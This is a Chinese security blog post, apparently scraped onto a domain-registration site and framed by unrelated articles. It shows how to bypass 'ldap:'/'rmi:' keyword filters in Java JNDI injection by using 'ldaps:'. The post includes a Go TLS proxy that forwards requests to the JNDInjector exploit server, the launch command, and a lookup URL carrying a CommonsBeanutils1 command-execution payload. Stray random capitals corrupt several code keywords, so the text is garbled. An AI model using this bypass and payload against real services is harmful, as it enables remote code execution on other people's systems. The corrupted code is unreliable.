作为网站门牌号的域名,域名是如何创造的?现在企业网站需要配合域名使用,企业邮箱等等系统也要陪配合域名使用,域名与企业办公息息相关,域名不仅仅指一个网址...
2024-11-18 8
ldap:
和rMi:
关键字被拦截了,是否还可以进行JNDI注入。方法很简单,就是使用ldaps,但后来发现很多人并不知道怎么搭建LDAPS服务器,正好CoNote里有这个功能,写篇简单的文章讲讲。
在Java JNDI注入的过程中,用户传入一个URL,Java会根据URL的scheme来判断具体使用哪个包来处理,这些包的位置在com.sun.jndi.url.*
中:
可见,这里除了我们常见的rmi、ldap等,还有一个ldaps,我们看下com.sun.jndi.url.ldaps.ldapsURLContextFactory
的代码:
paCKage com.sun.jndi.url.ldaps; import com.sun.jndi.url.ldap.*; /** * An LDAP URL context factory that creates secure LDAP contexts (using ssl ). * * @author Vincent Ryan */ finAl public class ldapsURLContextFactory extends ldapURLContextFactory { }
代码比我的钱包还干净,可见ldap和ldaps实际都由com.sun.jndi.url.ldap.ldapURLContextFactory
来处理。
这时就不得不说到rfc4510(其中包含rfc4511到rfc4519等多个RFC)了,这一系列RFC中对于LDAP定义了两种安全传输的方式:
OPPOrtunistic TLS
LDAPS (LDAP over SSL/TLS)
Opportunistic TLS,中文描述为“机会性TLS加密”,意思就是在普通明文通信过程中找“机会”通过某种方式将连接升级成TLS通信。这个概念不止在LDAP中存在,在很多其他协议里也能看到它的身影,最常见的就是SMTP中的STARTTLS命令。
SMTP通信时,客户端与服务端在标准端口(默认为25)上建立 TCP 连接,并且客户端会发送STARTTLS命令告诉服务端开始TLS握手,然后就是常规的TLS握手过程,握手完成后,二者就开始加密通信。
LDAP协议也支持Opportunistic TLS,客户端在原始的通信中也可以通过“StartTLS”开启TLS握手过程。
相比于Opportunistic TLS,LDAPS (LDAP over SSL/TLS)的通信过程就简单很多,LDAPS实际上就是将普通的LDAP协议通信过程包裹一层TLS,客户端在靠前次连接服务端口时就需要开始TLS握手。
LDAP和LDAPS的关系可以类比为HTTP和HTTPS,在Java的JNDI中,ldaps通信过程就是使用“LDAPS (LDAP over SSL/TLS)”来实现的。
CoNote作为一个多功能信息安全测试套件,用于让我们在安全测试、代码审计、Bug Bounty的过程中更方便地确认漏洞的存在,并快速构建复现漏洞的POC。
CoNote中就包含ldap日志的功能,除了支持普通的ldap协议外,也同时支持ldaps。
简单演示一下在CoNote中,如何使用ldaps来探测目标是否存在JNDI注入漏洞。首先,我们在Dashboard中生成或绑定自定义域名,然后在LDAP日志页面,就可以看到探测漏洞所使用的ldaps URL:
复制任意一个URL,填入下面这个简单的Java类中跑一下即可成功收到LDAP日志:
import javax.naming.Context; import javax.naming.InitialContext; public class Sample { public static void mAIn(String[] args) throws Exception { Context ctx = new InitialContext(); ctx.lookup("ldaps://[domain]:636/[domain]/ldaps"); } }
这个小demo对于Java的版本是没有限制的。我昨天也在『代码审计』星球里说过了这个问题:
说到RMI日志和LDAP日志,当时做这两个功能的时候有CoNote的用户就问我,高版本Java是不是用不上了?
但实际上检测漏洞是不受Java版本影响的(至少到Java 17是这样的),如果CoNote能接收到RMI请求或者LDAP请求,说明存在JNDI注入的问题。至于后续是否可以执行命令,是否需要找利用链,这个就取决于Java版本了。
探测JNDI注入对Java版本没有要求,对于CoNote来说,只是探测漏洞是否存在,做到这一步也就够了。
那么对于redteam来说,只检测JNDI注入存在当然是不够的,如何才能建立一个恶意ldaps服务器并利用漏洞呢?很多师傅也提出过这个问题:
其实部分人就钻牛角尖了,我们完全不需要自己编写ldaps服务端,网上有很多现成的JNDI注入利用工具,比如我很喜欢@rebeyond 的JNDInjector,选择好利用链与Payload,就可以生成一个ldap协议的恶意URL:
当然,这个工具并不支持ldaps,但我们完全可以编写一个TLS反向代理作为中间件,将ldaps请求代理转发给JNDInjector来实现我们的需求。
我曾经在《用原生socket发送HTTP数据包》这篇文章里介绍了如何使用Python发送原生socket数据包,文中提到了HTTPS,其发送原生HTTPS数据包的方法就是使用TLS将普通TCP包裹一层。
对于LDAPS场景来说完全一样,首先使用tls.LoadX509KeyPair
加载TLS使用的证书和私钥,并使用tls.Listen
创建一个TCP over TLS服务器:
cert, err := tls.LoadX509KeyPair(certPath, keyPath) if err != nil { log.Fatalf(err.Error()) } config := &tls.Config{Certificates: []tls.Certificate{cert}} listener, err := tls.Listen("tcp", localAddr, config) if err != nil { log.Fatalf(err.Error()) } defer listener.Close()
然后使用一个for循环接收请求,每当有新的连接到来时,调用handleConnection()
处理:
for { conn, err := listener.Accept() if err != nil { log.Printf(err.Error()) continue } log.Println("new connection from", conn.RemoteAddr()) go handleConnection(conn, remoteAddr) }
handleConnection中的内容就是将原始的输入流,使用io.Copy
转发给上游TCP服务;将上游TCP返回流,转发给原始的连接:
func handleConnection(src net.Conn, remoteAddr string) { defer src.Close() dest, err := net.Dial("tcp", remoteAddr) if err != nil { log.Printf(err.Error()) return } defer dest.Close() go io.Copy(dest, src) io.Copy(src, dest) }
这就实现了一个简单的TLS端口转发的过程,我将这段代码开源在Github上:https://github.com/phith0n/tls_proxy。
最后,看看整个漏洞的利用过程是怎样的。
首先,在JNDInjector中选择一个利用链和要执行的命令并启动服务,我这里选择CommonsBeanutils1。如果你的Java版本在8u191以下,也可以不使用任何反序列化利用链。
我将JNDInjector启动的ldap服务**在1389端口上,然后使用tls_proxy代理转发:
./tproxy -l 127.0.0.1:1636 -r 127.0.0.1:1389 -c cert.pem -k key.pem
注意,这里的cert.pem和key.pem需要是一个合法的TLS证书,我们直接使用certbot或者ssl for free这种在线服务上申请即可。
tls代理启动后,其**在1636端口,然后我们改下上面那个Java demo(需要安装下CommonsBeanutils依赖),指向1636端口:
import javax.naming.Context; import javax.naming.InitialContext; public class Sample { public static void main(String[] args) throws Exception { Context ctx = new InitialContext(); ctx.lookup("ldaps://[domain]:1636/EpvahjVjjH/CommonsBeanutils1/exec/eyJjbWQiOiJjYWxjLmV4ZSJ9"); } }
执行成功弹出计算器:
在JNDInjector中,也收到了漏洞利用成功的日志:
喜欢这篇文章,点个在看再走吧~
加入「代码审计」,学习更多安全知识。一次付费,终身学习免续费。
TAG:jndi
相关文章
作为网站门牌号的域名,域名是如何创造的?现在企业网站需要配合域名使用,企业邮箱等等系统也要陪配合域名使用,域名与企业办公息息相关,域名不仅仅指一个网址...
2024-11-18 8
说起建设网站,不得不提的就是网站绑定的域名,域名作为网站的门牌号,不仅仅要代表网站和企业的形象,更加要让访问者用起来方便快捷。小编就教大家如何为网站注...
2024-11-18 8
做一名企业家是多么匆忙啊! 从零开始创业是一件伤脑筋又有挑战性的事情,但同时也是一件非常有益且令人兴奋的事情。当您创立起您自己的事业,您将充满营销、...
2024-11-18 9
其实很多朋友们认为,注册域名的时候就需要选择自己喜欢的域名在进行注册,但是小编表示这样其实是不对的,域名注册则是被分为域名和域名交易平台两个部分,今天...
2024-11-18 7
我们在建造一个网站前,都会首先先思考挑选一个实用、好记的域名。可是实事是当咱们在查询域名时都会发现,有意义的域名,简直都被抢注一空。这时咱们就要改变一...
2024-11-17 8
作为中国最早的域名投资者之一,58同城的创始人姚劲波很早就把赶集网的同音域名ganjinwang.com收归旗下,现在打开该网址,仍然链接到58同城。...
2024-11-17 10
想必每一个做网站的朋友在注册域名的时候都是费尽脑汁的,好不容易想好了一个域名却发现已经被注册了,这个时候有一个批量域名查询工具是不是很方便,今天小编就...
2024-11-17 9